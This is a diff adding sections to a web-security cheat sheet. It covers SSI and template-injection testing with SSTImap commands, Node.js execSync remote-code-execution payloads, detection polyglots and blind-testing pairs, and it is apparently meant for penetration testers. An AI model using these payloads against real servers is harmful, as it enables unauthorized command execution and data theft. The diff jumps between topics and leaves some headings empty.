+## Tools
+
+* [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap), supports SSI detection and exploitation with `--legacy` or `-e SSI`
+
+  ```bash
+  python3 ./sstimap.py -u 'https://example.com/page?name=John' --legacy -s
+  python3 ./sstimap.py -i -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e SSI
+  python3 ./sstimap.py -i --legacy -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'
+  ```
+
 ## Methodology
 
 SSI Injection occurs when an attacker can input Server Side Include directives into a web application. SSIs are directives that can include files, execute commands, or print environment variables/attributes. If user input is not properly sanitized within an SSI context, this input can be used to manipulate server-side behavior and access sensitive information or execute commands.

+## Universal Payloads

+
+To use these payloads, wrap them in the appropriate tag.
+
+```javascript
+// Rendered RCE
+global.process.mainModule.require("child_process").execSync("id").toString()
+
+// Error-Based RCE
+global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())

+
+// Time-Based RCE
+global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()
+```
+

+
+When the errors are verbosely displayed to the attacker, Error-Based technique can be used to trigger the error message containing the results of the injected code.

+
+> Applicability: detection, blind exploitation, blind data exfiltration
+
+Boolean-Based technique can be used to conditionally trigger an error to indicate success or failure of the injected code.
+
+#### Time-Based
+

+
+> Applicability: limited detection, blind exploitation, blind data exfiltration
+
+Time-Based technique can be used to conditionally trigger the delay to indicate success or failure of the injected code.
+
+Triggering the delay often requires guessing payloads for code evaluation or OS command execution.
+
+#### Out of Bounds
+
+> Applicability: limited detection, exploitation
+
+Out of Bounds technique can be used to expose results of the injected code through other channels (e.g. by connecting to an attacker-controlled server).
+
+This technique often requires guessing payloads for code evaluation or OS command execution.
+
+#### Polyglot-Based
+

+
+> Applicability: detection
+
+Polyglot-Based technique can be used to quickly determine the template engine by checking how it transforms different payloads.
+
+### Universal Detection Payloads
+
+Polyglot to trigger an error in presence of SSTI vulnerability:
+
+```ps1
+${{<%[%'"}}%\.
+```
+
+Common tags to test for SSTI with code evaluation:
+
+```powershell
+{{ ... }}
+${ ... }
+#{ ... }
+<%= ... %>
+{ ... }
+{{= ... }}
+{= ... }
+\n= ... \n
+*{ ... }
+@{ ... }
+@( ... )
+```
+
+Rendered SSTI can be checked by using mathematical expressions inside the tags:
+
+```powershell
+7 * 7
+```
+
+Error-Based SSTI can be checked by using this payload inside the tags:
+
+```powershell
+(1/0).zxy.zxy
+```
+
+If the error caused by that payload is displayed verbosely, it can be checked to guess the language used for code evaluation:
+
+| Error                         | Language          |
+|-------------------------------|-------------------|
+| ZeroDivisionError             | Python            |
+| java.lang.ArithmeticException | Java              |
+| ReferenceError                | NodeJS            |
+| TypeError                     | NodeJS            |
+| Division by zero              | PHP               |
+| DivisionByZeroError           | PHP               |
+| divided by 0                  | Ruby              |
+| Arithmetic operation failed   | Freemarker (Java) |
+
+To test for blind injections using Boolean-Based technique, the attacker can test pairs of similar payloads wrapped in tags, where one payload evaluates mathematical expression, while the other triggers syntax error:
+
+| test | ok              | error           |
+|------|-----------------|-----------------|
+| 1    | `(3*4/2)`       | `3*)2(/4`       |
+| 2    | `((7*8)/(2*4))` | `7)(*)8)(2/(*4` |
+
+Using at least two pairs of payloads avoids false positives caused by external interference.
